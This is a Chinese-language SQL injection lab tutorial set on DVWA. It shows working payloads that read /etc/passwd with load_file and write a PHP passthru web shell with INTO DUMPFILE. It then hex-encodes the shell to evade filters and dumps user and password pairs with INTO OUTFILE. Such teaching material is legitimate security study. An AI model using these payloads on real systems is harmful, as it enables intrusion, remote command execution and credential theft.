SQL注入学习二

本次记录:SQL注入除了可以拖库,还可以做什么。SQL注入的利用方法

1. 读取文件

利用dbms中的load_file() 函数可以读取系统中的文件。
利用burp suite进行注入。
设置好代理之后,使用burp suite进行拦截,Ctrl+R将request发送到Repeater中。
这里写图片描述
这里的id就是我们要注入的参数。
Value中输入
' union select null, load_file('/etc/passwd') --
可以看到读取到了/etc/passwd的内容
这里写图片描述

2. 写入文件

主要利用into dumpfile 将要传的文件dump到本地。
在Value值中输入(into dumpfile后没有指定路径):
' union select null, "<?php passthru($_GET['cmd']);?>" into dumpfile "a.php"
这里写图片描述
文件上传成功,由于我们没有指定dump到的文件路径,因此我们远程登录到目标主机,查找一下文件位置。
这里写图片描述
自动保存到了/var/lib/mysql/dvwa/a.php ,然而使用msfadmin的权限是无法访问dvwa文件夹的,因为dvwa的所有者和所属组均为mysql,因此即使我们将文件写入到了目标服务器,仍然无法利用。
这里写图片描述
基于这种情况,一般将文件写入到/tmp 目录下。因为这个目录所有用户均具有读写权限。
这里写图片描述
' union select null, "<?php passthru($_GET['cmd']);?>" into dumpfile "/tmp/a.php"
这里写图片描述
上传成功。
此时我们可以利用系统的文件包含漏洞:
这里写图片描述
可以成功执行命令。
这里写图片描述
这里又出现了一个问题,如果服务器对我们的输入进行了过滤,比如过滤了< 将会导致我们的注入无效,这是用需要利用编码,绕过后台服务器的过滤。本次介绍使用二进制编码。
将一句话木马存入c.php
<?php passthru($_GET['cmd']);?>
这里写图片描述
然后进行编码
cat c.php | xxd -ps | tr -d '\n'
这里写图片描述


  • xxd命令:对于标准输入或者给定的文件,显示其16进制的内容。也可以反过来进行转换。
  • tr命令:可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。

复制十六进制的内容到burp suite中进行注入,同样可以注入。
' union select null, (0x3c3f7068....) into dumpfile "/tmp/c.php" --
这里写图片描述

3. 保存下载数据库

主要利用into outfile 将从数据库中查询到的结果输出到本地。同样利用文件包含漏洞。
' union select null, concat(user, 0x3a, password) from users into outfile "/tmp/a.db"
这里写图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值